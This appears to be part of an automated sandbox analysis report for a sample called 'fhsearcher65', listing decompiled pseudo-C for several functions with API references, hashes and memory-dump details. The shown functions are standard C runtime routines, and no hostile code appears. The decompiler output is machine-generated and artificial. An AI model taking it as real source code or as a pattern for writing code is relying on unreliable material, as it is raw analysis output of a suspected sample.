Instruction Fuzzy Hash: 5F51F475904212AFFB10DF788C81A5E7BF4FF063D0B11826DE9149718AEB72DA81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040ED85 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 0040EDCE
__alloca_probe_16.LIBCMT ref: 0040EDFA
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 0040EE39
LCMapStringEx.KERNEL32 ref: 0040EE56
LCMapStringEx.KERNEL32 ref: 0040EE95
__alloca_probe_16.LIBCMT ref: 0040EEB2
LCMapStringEx.KERNEL32 ref: 0040EEF4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0040EF17

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 7cc3ffe1195a457f54008f845800376d26ee65f0718d8c96d91e762455f44713
Instruction ID: 0ad2b30d9b735a4d423f28b9855076c39a4d43ba7c2dd50be2313354d452487c
Opcode Fuzzy Hash: 7cc3ffe1195a457f54008f845800376d26ee65f0718d8c96d91e762455f44713
Instruction Fuzzy Hash: 6251917261020ABBEB205F62CC45FAB7BB9EF44744F15483AF914A62D0D778DC218B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041C2AC Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 255
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E0041C2AC(void* __ebx, void* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				short _v706;
				signed int _v708;
				signed int _v712;
				signed int _v716;
				intOrPtr _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int* _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				intOrPtr _v772;
				signed int _v784;
				void* __ebp;
				signed int _t156;
				void* _t163;
				signed int _t164;
				signed int _t166;
				signed int _t167;
				intOrPtr _t168;
				signed int _t171;
				signed int _t173;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t182;
				signed int _t183;
				signed int _t185;
				signed int _t186;
				signed int _t202;
				signed int _t204;
				signed int _t206;
				signed int _t210;
				signed int _t212;
				void* _t213;
				signed int _t220;
				intOrPtr* _t221;
				char* _t228;
				intOrPtr _t232;
				intOrPtr* _t233;
				signed int _t235;
				signed int _t240;
				signed int _t241;
				intOrPtr _t246;
				void* _t247;
				void* _t250;
				signed int _t252;
				signed int _t254;
				signed int _t257;
				signed int* _t258;
				short _t259;
				signed int _t260;
				void* _t262;
				void* _t263;
				void* _t264;

				_t244 = __edx;
				_t156 =  *0x43d054; // 0xd71f2cec
				_v8 = _t156 ^ _t260;
				_push(__ebx);
				_t212 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v736 = _t212;
				_v732 = E0041CF13(__ecx, __edx) + 0x278;
				_t163 = E0041B997(_t212, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55,  &_v716);
				_t263 = _t262 + 0x18;
				if(_t163 == 0) {
					L39:
					_t164 = 0;
					__eflags = 0;
					goto L40;
				} else {
					_t10 = _t212 + 2; // 0x2
					_t252 = _t10 << 4;
					_t166 =  &_v272;
					_v712 = _t252;
					_t244 =  *(_t252 + _t246);
					_t220 = _t244;
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t254 = _v712;
						if( *_t166 !=  *_t220) {
							break;
						}
						if( *_t166 == 0) {
							L6:
							_t167 = _v704;
						} else {
							_t259 =  *((intOrPtr*)(_t166 + 2));
							_v706 = _t259;
							_t254 = _v712;
							if(_t259 !=  *((intOrPtr*)(_t220 + 2))) {
								break;
							} else {
								_t166 = _t166 + 4;
								_t220 = _t220 + 4;
								if(_v706 != 0) {
									continue;
								} else {
									goto L6;
								}
							}
						}
						L8:
						if(_t167 != 0) {
							_t221 =  &_v272;
							_t244 = _t221 + 2;
							do {
								_t168 =  *_t221;
								_t221 = _t221 + 2;
								__eflags = _t168 - _v704;
							} while (_t168 != _v704);
							_v708 = (_t221 - _t244 >> 1) + 1;
							_t171 = E0041F0DF(4 + ((_t221 - _t244 >> 1) + 1) * 2);
							_v724 = _t171;
							__eflags = _t171;
							if(_t171 == 0) {
								goto L39;
							} else {
								_v720 =  *((intOrPtr*)(_t254 + _t246));
								_v740 =  *(_t246 + 0xa0 + _t212 * 4);
								_v744 =  *(_t246 + 8);
								_t228 =  &_v272;
								_v728 = _t171 + 4;
								_t173 = E00421841(_t171 + 4, _v708, _t228);
								_t264 = _t263 + 0xc;
								__eflags = _t173;
								if(_t173 != 0) {
									_t174 = _v704;
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									_push(_t174);
									E004138F4();
									asm("int3");
									_push(_t260);
									_push(_t228);
									_v784 = _v784 & 0x00000000;
									_t177 = E0041EBD1(_v772, 0x20001004,  &_v784, 2);
									__eflags = _t177;
									if(_t177 == 0) {
										L49:
										return 0xfde9;
									}
									_t179 = _v12;
									__eflags = _t179;
									if(_t179 == 0) {
										goto L49;
									}
									return _t179;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t254 + _t246)) = _v728;
									if(_v272 != 0x43) {
										L17:
										_t182 = E0041B6B4(_t212, _t246,  &_v700);
										_t244 = _v704;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L17;
										} else {
											_t244 = _v704;
											_t182 = _t244;
										}
									}
									 *(_t246 + 0xa0 + _t212 * 4) = _t182;
									__eflags = _t212 - 2;
									if(_t212 != 2) {
										__eflags = _t212 - 1;
										if(_t212 != 1) {
											__eflags = _t212 - 5;
											if(_t212 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v716;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v716;
										}
									} else {
										_t258 = _v732;
										 *(_t246 + 8) = _v716;
										_v708 = _t258[8];
										_t240 = _t258[9];
										_v716 = _t240;
										while(1) {
											__eflags =  *(_t246 + 8) -  *(_t258 + _t244 * 8);
											if( *(_t246 + 8) ==  *(_t258 + _t244 * 8)) {
												break;
											}
											_t210 =  *(_t258 + _t244 * 8);
											_t240 =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _v716;
											_t244 = _t244 + 1;
											_t212 = _v736;
											_v708 = _t210;
											_v716 = _t240;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L25:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t202 = E00421C25(__eflags, _v704, 1, 0x431520, 0x7f,  &_v528,  *(_t246 + 8), 1);
												_t264 = _t264 + 0x1c;
												__eflags = _t202;
												if(_t202 == 0) {
													_t241 = _v704;
												} else {
													_t204 = _v704;
													do {
														 *(_t260 + _t204 * 2 - 0x20c) =  *(_t260 + _t204 * 2 - 0x20c) & 0x000001ff;
														_t204 = _t204 + 1;
														__eflags = _t204 - 0x7f;
													} while (_t204 < 0x7f);
													_t206 = E0041100A( &_v528,  *0x43d1c4, 0xfe);
													_t264 = _t264 + 0xc;
													__eflags = _t206;
													_t241 = 0 | _t206 == 0x00000000;
												}
												_t258[1] = _t241;
												 *_t258 =  *(_t246 + 8);
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L37;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v708;
											 *(_t258 + 4 + _t244 * 8) = _t240;
										}
										goto L25;
									}
									L37:
									_t183 = _t212 * 0xc;
									_t111 = _t183 + 0x4315a8; // 0x40b550
									 *0x42e234(_t246);
									_t185 =  *((intOrPtr*)( *_t111))();
									_t232 = _v720;
									__eflags = _t185;
									if(_t185 == 0) {
										__eflags = _t232 - 0x43d290;
										if(_t232 == 0x43d290) {
											L44:
											_t186 = _v712;
										} else {
											_t257 = _t212 + _t212;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L44;
											} else {
												E0041E668( *((intOrPtr*)(_t246 + 0x28 + _t257 * 8)));
												E0041E668( *((intOrPtr*)(_t246 + 0x24 + _t257 * 8)));
												E0041E668( *(_t246 + 0xa0 + _t212 * 4));
												_t186 = _v712;
												_t235 = _v704;
												 *(_t186 + _t246) = _t235;
												 *(_t246 + 0xa0 + _t212 * 4) = _t235;
											}
										}
										_t233 = _v724;
										 *_t233 = 1;
										_t164 =  *(_t186 + _t246);
										 *((intOrPtr*)(_t246 + 0x28 + (_t212 + _t212) * 8)) = _t233;
									} else {
										 *((intOrPtr*)(_v712 + _t246)) = _t232;
										E0041E668( *(_t246 + 0xa0 + _t212 * 4));
										 *(_t246 + 0xa0 + _t212 * 4) = _v740;
										E0041E668(_v724);
										 *(_t246 + 8) = _v744;
										goto L39;
									}
									goto L40;
								}
							}
						} else {
							_t164 = _t244;
							L40:
							_pop(_t247);
							_pop(_t250);
							_pop(_t213);
							return E0040EF6F(_t164, _t213, _v8 ^ _t260, _t244, _t247, _t250);
						}
						goto L51;
					}
					asm("sbb eax, eax");
					_t167 = _t166 | 0x00000001;
					__eflags = _t167;
					goto L8;
				}
				L51:
			}

0x0041c2ac
0x0041c2b7
0x0041c2be
0x0041c2c1
0x0041c2c2
0x0041c2c5
0x0041c2c9
0x0041c2ca
0x0041c2cd
0x0041c2dd
0x0041c300
0x0041c305
0x0041c30a
0x0041c5c0
0x0041c5c0
0x0041c5c0
0x00000000
0x0041c310
0x0041c310
0x0041c313
0x0041c316
0x0041c31c
0x0041c322
0x0041c325
0x0041c327
0x0041c32a
0x0041c334
0x0041c33a
0x00000000
0x00000000
0x0041c340
0x0041c369
0x0041c369
0x0041c342
0x0041c342
0x0041c34a
0x0041c351
0x0041c357
0x00000000
0x0041c359
0x0041c359
0x0041c35c
0x0041c367
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c367
0x0041c357
0x0041c376
0x0041c378
0x0041c381
0x0041c387
0x0041c38a
0x0041c38a
0x0041c38d
0x0041c390
0x0041c390
0x0041c3a0
0x0041c3ae
0x0041c3b3
0x0041c3ba
0x0041c3bc
0x00000000
0x0041c3c2
0x0041c3c8
0x0041c3d5
0x0041c3de
0x0041c3e4
0x0041c3f1
0x0041c3f8
0x0041c3fd
0x0041c400
0x0041c402
0x0041c640
0x0041c646
0x0041c647
0x0041c648
0x0041c649
0x0041c64a
0x0041c64b
0x0041c650
0x0041c653
0x0041c656
0x0041c657
0x0041c669
0x0041c66e
0x0041c670
0x0041c679
0x00000000
0x0041c679
0x0041c672
0x0041c675
0x0041c677
0x00000000
0x00000000
0x0041c67f
0x0041c408
0x0041c408
0x0041c416
0x0041c419
0x0041c42f
0x0041c436
0x0041c43b
0x0041c41b
0x0041c41b
0x0041c423
0x00000000
0x0041c425
0x0041c425
0x0041c42b
0x0041c42b
0x0041c423
0x0041c442
0x0041c449
0x0041c44c
0x0041c54a
0x0041c54d
0x0041c55a
0x0041c55d
0x0041c565
0x0041c565
0x0041c54f
0x0041c555
0x0041c555
0x0041c452
0x0041c452
0x0041c45e
0x0041c464
0x0041c46a
0x0041c46d
0x0041c473
0x0041c476
0x0041c479
0x00000000
0x00000000
0x0041c47b
0x0041c484
0x0041c488
0x0041c491
0x0041c495
0x0041c496
0x0041c49c
0x0041c4a2
0x0041c4a8
0x0041c4ab
0x00000000
0x00000000
0x0041c4ad
0x0041c4cc
0x0041c4cc
0x0041c4cf
0x0041c4ec
0x0041c4f1
0x0041c4f4
0x0041c4f6
0x0041c534
0x0041c4f8
0x0041c4f8
0x0041c4fe
0x0041c503
0x0041c50b
0x0041c50c
0x0041c50c
0x0041c523
0x0041c52a
0x0041c52d
0x0041c52f
0x0041c52f
0x0041c53a
0x0041c540
0x0041c540
0x0041c545
0x00000000
0x0041c545
0x0041c4af
0x0041c4b1
0x0041c4b6
0x0041c4bc
0x0041c4c5
0x0041c4c8
0x0041c4c8
0x00000000
0x0041c4b1
0x0041c568
0x0041c568
0x0041c56c
0x0041c574
0x0041c57a
0x0041c57d
0x0041c583
0x0041c585
0x0041c5d1
0x0041c5d7
0x0041c623
0x0041c623
0x0041c5d9
0x0041c5de
0x0041c5de
0x0041c5e4
0x0041c5e8
0x00000000
0x0041c5ea
0x0041c5ee
0x0041c5f7
0x0041c603
0x0041c608
0x0041c611
0x0041c617
0x0041c61a
0x0041c61a
0x0041c5e8
0x0041c629
0x0041c631
0x0041c637
0x0041c63a
0x0041c587
0x0041c58d
0x0041c597
0x0041c5a9
0x0041c5b0
0x0041c5bd
0x00000000
0x0041c5bd
0x00000000
0x0041c585
0x0041c402
0x0041c37a
0x0041c37a
0x0041c5c2
0x0041c5c5
0x0041c5c6
0x0041c5c9
0x0041c5d0
0x0041c5d0
0x00000000
0x0041c378
0x0041c371
0x0041c373
0x0041c373
0x00000000
0x0041c373
0x00000000

APIs

Part of subcall function 0041CF13: GetLastError.KERNEL32(?,?,?,00413A11,?,00000000,00405D9E,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000), ref: 0041CF18
Part of subcall function 0041CF13: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000,?,00405D9E,?), ref: 0041CFB6

_free.LIBCMT ref: 0041C597
_free.LIBCMT ref: 0041C5B0
_free.LIBCMT ref: 0041C5EE
_free.LIBCMT ref: 0041C5F7
_free.LIBCMT ref: 0041C603

Strings

C, xrefs: 0041C408

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: C
API String ID: 3291180501-1037565863
Opcode ID: b6b13242e506884dba605d24e8194b35ca787dc5a275c7a1a9be0d4b36ad3870
Instruction ID: c11ea5ffcd0d6ee19e35425c9203b60d7dd928d112b06cb31911f2b52f6352f3
Opcode Fuzzy Hash: b6b13242e506884dba605d24e8194b35ca787dc5a275c7a1a9be0d4b36ad3870
Instruction Fuzzy Hash: FAB13B759412299BDB24DF19CC84AEEB7B5FB58304F5045AEE80AA7350D734AED0CF48

Uniqueness

Uniqueness Score: -1.00%

Function 004215B2 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004215B2(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				intOrPtr _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				signed int _t49;
				void* _t51;
				signed int _t55;
				intOrPtr _t63;
				intOrPtr _t69;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr _t86;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr _t93;
				void* _t94;
				void* _t95;
				signed int _t96;
				void* _t97;
				intOrPtr* _t98;
				intOrPtr* _t100;
				void* _t103;

				_push(__ecx);
				_push(__ecx);
				_t41 =  *0x43d054; // 0xd71f2cec
				_v8 = _t41 ^ _t96;
				_t93 = _a20;
				if(_t93 > 0) {
					_t69 = E0041A03D(_a16, _t93);
					_t103 = _t69 - _t93;
					_t4 = _t69 + 1; // 0x1
					_t93 = _t4;
					if(_t103 >= 0) {
						_t93 = _t69;
					}
				}
				_t88 = _a32;
				if(_a32 == 0) {
					_t88 =  *((intOrPtr*)( *_a4 + 8));
					_a32 =  *((intOrPtr*)( *_a4 + 8));
				}
				_t86 = E004201F8(_t88, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t93, 0, 0);
				_t98 = _t97 + 0x18;
				_v12 = _t86;
				if(_t86 == 0) {
					L39:
					_pop(_t89);
					_pop(_t94);
					_pop(_t71);
					return E0040EF6F(_t46, _t71, _v8 ^ _t96, _t86, _t89, _t94);
				} else {
					_t17 = _t86 + _t86 + 8; // 0x8
					asm("sbb eax, eax");
					_t49 = _t86 + _t86 & _t17;
					if(_t49 == 0) {
						_t72 = 0;
						L15:
						if(_t72 == 0) {
							L37:
							_t95 = 0;
							L38:
							E0040EF51(_t72);
							_t46 = _t95;
							goto L39;
						}
						_t51 = E004201F8(_t88, 1, _a16, _t93, _t72, _t86);
						_t100 = _t98 + 0x18;
						if(_t51 == 0) {
							goto L37;
						}
						_t90 = _v12;
						_t95 = E0041ED0E(_a8, _a12, _t72, _v12, 0, 0, 0, 0, 0);
						if(_t95 == 0) {
							goto L37;
						}
						_t86 = 0x400;
						if((_a12 & 0x00000400) == 0) {
							_t31 = _t95 + _t95 + 8; // 0x8
							asm("sbb eax, eax");
							_t55 = _t95 + _t95 & _t31;
							if(_t55 == 0) {
								_t91 = 0;
								L31:
								if(_t91 == 0 || E0041ED0E(_a8, _a12, _t72, _v12, _t91, _t95, 0, 0, 0) == 0) {
									L36:
									E0040EF51(_t91);
									goto L37;
								} else {
									_push(0);
									_push(0);
									if(_a28 != 0) {
										_push(_a28);
										_push(_a24);
									} else {
										_push(0);
										_push(0);
									}
									_push(_t95);
									_push(_t91);
									_push(0);
									_push(_a32);
									_t95 = E00420444();
									if(_t95 != 0) {
										E0040EF51(_t91);
										goto L38;
									} else {
										goto L36;
									}
								}
							}
							if(_t55 > 0x400) {
								_t91 = E0041F0DF(_t55);
								if(_t91 == 0) {
									goto L36;
								}
								 *_t91 = 0xdddd;
								L29:
								_t91 = _t91 + 8;
								goto L31;
							}
							E0040F930(_t55);
							_t91 = _t100;
							if(_t91 == 0) {
								goto L36;
							}
							 *_t91 = 0xcccc;
							goto L29;
						}
						_t63 = _a28;
						if(_t63 == 0) {
							goto L38;
						}
						if(_t95 > _t63) {
							goto L37;
						}
						_t95 = E0041ED0E(_a8, _a12, _t72, _t90, _a24, _t63, 0, 0, 0);
						if(_t95 != 0) {
							goto L38;
						}
						goto L37;
					}
					if(_t49 > 0x400) {
						_t72 = E0041F0DF(_t49);
						if(_t72 == 0) {
							L13:
							_t86 = _v12;
							goto L15;
						}
						 *_t72 = 0xdddd;
						L12:
						_t72 = _t72 + 8;
						goto L13;
					}
					E0040F930(_t49);
					_t72 = _t98;
					if(_t72 == 0) {
						goto L13;
					}
					 *_t72 = 0xcccc;
					goto L12;
				}
			}

0x004215b7
0x004215b8
0x004215b9
0x004215c0
0x004215c5
0x004215cb
0x004215d1
0x004215d7
0x004215da
0x004215da
0x004215dd
0x004215df
0x004215df
0x004215dd
0x004215e1
0x004215e6
0x004215ed
0x004215f0
0x004215f0
0x00421611
0x00421613
0x00421616
0x0042161b
0x00421779
0x0042177c
0x0042177d
0x0042177e
0x0042178a
0x00421621
0x00421624
0x00421629
0x0042162b
0x0042162d
0x00421664
0x00421666
0x00421668
0x0042176e
0x0042176e
0x00421770
0x00421771
0x00421777
0x00000000
0x00421777
0x00421677
0x0042167c
0x00421681
0x00000000
0x00000000
0x00421687
0x0042169e
0x004216a2
0x00000000
0x00000000
0x004216a8
0x004216b0
0x004216ed
0x004216f2
0x004216f4
0x004216f6
0x00421727
0x00421729
0x0042172b
0x00421767
0x00421768
0x00000000
0x00421748
0x0042174a
0x0042174b
0x0042174f
0x0042178b
0x0042178e
0x00421751
0x00421751
0x00421752
0x00421752
0x00421753
0x00421754
0x00421755
0x00421756
0x0042175e
0x00421765
0x00421794
0x00000000
0x00000000
0x00000000
0x00000000
0x00421765
0x0042172b
0x004216fa
0x00421715
0x0042171a
0x00000000
0x00000000
0x0042171c
0x00421722
0x00421722
0x00000000
0x00421722
0x004216fc
0x00421701
0x00421705
0x00000000
0x00000000
0x00421707
0x00000000
0x00421707
0x004216b2
0x004216b7
0x00000000
0x00000000
0x004216bf
0x00000000
0x00000000
0x004216db
0x004216df
0x00000000
0x00000000
0x00000000
0x004216e5
0x00421634
0x0042164f
0x00421654
0x0042165f
0x0042165f
0x00000000
0x0042165f
0x00421656
0x0042165c
0x0042165c
0x00000000
0x0042165c
0x00421636
0x0042163b
0x0042163f
0x00000000
0x00000000
0x00421641
0x00000000
0x00421641

APIs

__alloca_probe_16.LIBCMT ref: 00421636
__alloca_probe_16.LIBCMT ref: 004216FC
__freea.LIBCMT ref: 00421768

Part of subcall function 0041F0DF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0041034B,?,?,?,?,?,00403757,?,?,?), ref: 0041F111

__freea.LIBCMT ref: 00421771
__freea.LIBCMT ref: 00421794

Strings

$MB, xrefs: 004215C4

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: $MB
API String ID: 1423051803-486549210
Opcode ID: 45b4c77fe8efd3d306ed06d413f7650ca23637d6a099c1139c8ce8e833fa6418
Instruction ID: c445263791c6b435558c52792793eb6ad9aab554ad0bace2624704467517a0a2
Opcode Fuzzy Hash: 45b4c77fe8efd3d306ed06d413f7650ca23637d6a099c1139c8ce8e833fa6418
Instruction Fuzzy Hash: 74510872700226BBDF20AF51EC81EBF36A9DFD4754F55012AFD0497260D738DC518668

Uniqueness

Uniqueness Score: -1.00%

Function 100033D6 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E100033D6(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;

				_t68 = __edx;
				_push(0x10);
				_push(0x10015730);
				E10003C50(__ebx, __edi, __esi);
				_t34 =  *0x10017968; // 0x1
				if(_t34 > 0) {
					 *0x10017968 = _t34 - 1;
					 *(_t82 - 0x1c) = 1;
					 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
					 *((char*)(_t82 - 0x20)) = E1000383A();
					 *(_t82 - 4) = 1;
					__eflags =  *0x10017ca0 - 2;
					if( *0x10017ca0 != 2) {
						E10003AD4(_t68, 1, __esi, 7);
						asm("int3");
						_push(0xc);
						_push(0x10015758);
						E10003C50(__ebx, 1, __esi);
						_t72 =  *(_t82 + 0xc);
						__eflags = _t72;
						if(_t72 != 0) {
							L9:
							 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
							__eflags = _t72 - 1;
							if(_t72 == 1) {
								L12:
								_t58 =  *(_t82 + 0x10);
								_t76 = E10003591( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
								 *(_t82 - 0x1c) = _t76;
								__eflags = _t76;
								if(_t76 != 0) {
									_t76 = E1000327C(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t76;
									if(_t76 != 0) {
										goto L14;
									}
								}
							} else {
								__eflags = _t72 - 2;
								if(_t72 == 2) {
									goto L12;
								} else {
									_t58 =  *(_t82 + 0x10);
									L14:
									_push(_t58);
									_push(_t72);
									_push( *((intOrPtr*)(_t82 + 8)));
									_t42 = E10001000();
									_t76 = _t42;
									 *(_t82 - 0x1c) = _t76;
									__eflags = _t72 - 1;
									if(_t72 == 1) {
										__eflags = _t76;
										if(_t76 == 0) {
											_push(_t58);
											_push(_t42);
											_push( *((intOrPtr*)(_t82 + 8)));
											_t45 = E10001000();
											__eflags = _t58;
											_t25 = _t58 != 0;
											__eflags = _t25;
											_push((_t45 & 0xffffff00 | _t25) & 0x000000ff);
											E100033D6(_t58, _t68, _t72, _t76, _t25);
											_pop(_t61);
											E10003591( *((intOrPtr*)(_t82 + 8)), _t76, _t58);
										}
									}
									__eflags = _t72;
									if(_t72 == 0) {
										L19:
										_t76 = E1000327C(_t58, _t61, _t68, _t72, _t76,  *((intOrPtr*)(_t82 + 8)), _t72, _t58);
										 *(_t82 - 0x1c) = _t76;
										__eflags = _t76;
										if(_t76 != 0) {
											_t76 = E10003591( *((intOrPtr*)(_t82 + 8)), _t72, _t58);
											 *(_t82 - 0x1c) = _t76;
										}
									} else {
										__eflags = _t72 - 3;
										if(_t72 == 3) {
											goto L19;
										}
									}
								}
							}
							 *(_t82 - 4) = 0xfffffffe;
							_t40 = _t76;
						} else {
							__eflags =  *0x10017968 - _t72; // 0x1
							if(__eflags > 0) {
								goto L9;
							} else {
								_t40 = 0;
							}
						}
						 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
						return _t40;
					} else {
						E10003905(__ebx, _t61, 1, __esi);
						E100037C7();
						E10003C23();
						 *0x10017ca0 =  *0x10017ca0 & 0x00000000;
						 *(_t82 - 4) =  *(_t82 - 4) & 0x00000000;
						E1000346B();
						_t54 = E10003AA6( *((intOrPtr*)(_t82 + 8)), 0);
						asm("sbb esi, esi");
						_t80 =  ~(_t54 & 0x000000ff) & 1;
						__eflags = _t80;
						 *(_t82 - 0x1c) = _t80;
						 *(_t82 - 4) = 0xfffffffe;
						E10003478();
						_t56 = _t80;
						goto L4;
					}
				} else {
					_t56 = 0;
					L4:
					 *[fs:0x0] =  *((intOrPtr*)(_t82 - 0x10));
					return _t56;
				}
			}

0x100033d6
0x100033d6
0x100033d8
0x100033dd
0x100033e2
0x100033e9
0x100033f0
0x100033f8
0x100033fb
0x10003404
0x10003407
0x1000340a
0x10003411
0x10003480
0x10003485
0x10003486
0x10003488
0x1000348d
0x10003492
0x10003495
0x10003497
0x100034a8
0x100034a8
0x100034ac
0x100034af
0x100034bb
0x100034bb
0x100034c8
0x100034ca
0x100034cd
0x100034cf
0x100034df
0x100034e1
0x100034e4
0x100034e6
0x00000000
0x00000000
0x100034e6
0x100034b1
0x100034b1
0x100034b4
0x00000000
0x100034b6
0x100034b6
0x100034ec
0x100034ec
0x100034ed
0x100034ee
0x100034f1
0x100034f6
0x100034f8
0x100034fb
0x100034fe
0x10003500
0x10003502
0x10003504
0x10003505
0x10003506
0x10003509
0x1000350e
0x10003510
0x10003510
0x10003516
0x10003517
0x1000351c
0x10003522
0x10003522
0x10003502
0x10003527
0x10003529
0x10003530
0x1000353a
0x1000353c
0x1000353f
0x10003541
0x1000354d
0x10003575
0x10003575
0x1000352b
0x1000352b
0x1000352e
0x00000000
0x00000000
0x1000352e
0x10003529
0x100034b4
0x10003578
0x1000357f
0x10003499
0x10003499
0x1000349f
0x00000000
0x100034a1
0x100034a1
0x100034a1
0x1000349f
0x10003584
0x10003590
0x10003413
0x10003413
0x10003418
0x1000341d
0x10003422
0x10003429
0x1000342d
0x10003437
0x10003443
0x10003445
0x10003445
0x10003447
0x1000344a
0x10003451
0x10003456
0x00000000
0x10003456
0x100033eb
0x100033eb
0x10003458
0x1000345b
0x10003467
0x10003467

APIs

__RTC_Initialize.LIBCMT ref: 1000341D
___scrt_uninitialize_crt.LIBCMT ref: 10003437

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: fb96ed7170912c531198425769cf64f804bb219cb4c682d5ecc3c1bbbb0e391b
Instruction ID: f2d724fec1a198361f11823c952c0a5602674603fef4946e569f0555ef38e7cd
Opcode Fuzzy Hash: fb96ed7170912c531198425769cf64f804bb219cb4c682d5ecc3c1bbbb0e391b
Instruction Fuzzy Hash: CB41C372D04A65ABFB13CF64CC42B9F7BACEB446D2F11C119F8446A269D730AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 0043EA60 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0043EA97
___except_validate_context_record.LIBVCRUNTIME ref: 0043EA9F
_ValidateLocalCookies.LIBCMT ref: 0043EB28
__IsNonwritableInCurrentImage.LIBCMT ref: 0043EB53
_ValidateLocalCookies.LIBCMT ref: 0043EBA8

Strings

csm, xrefs: 0043EB3D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

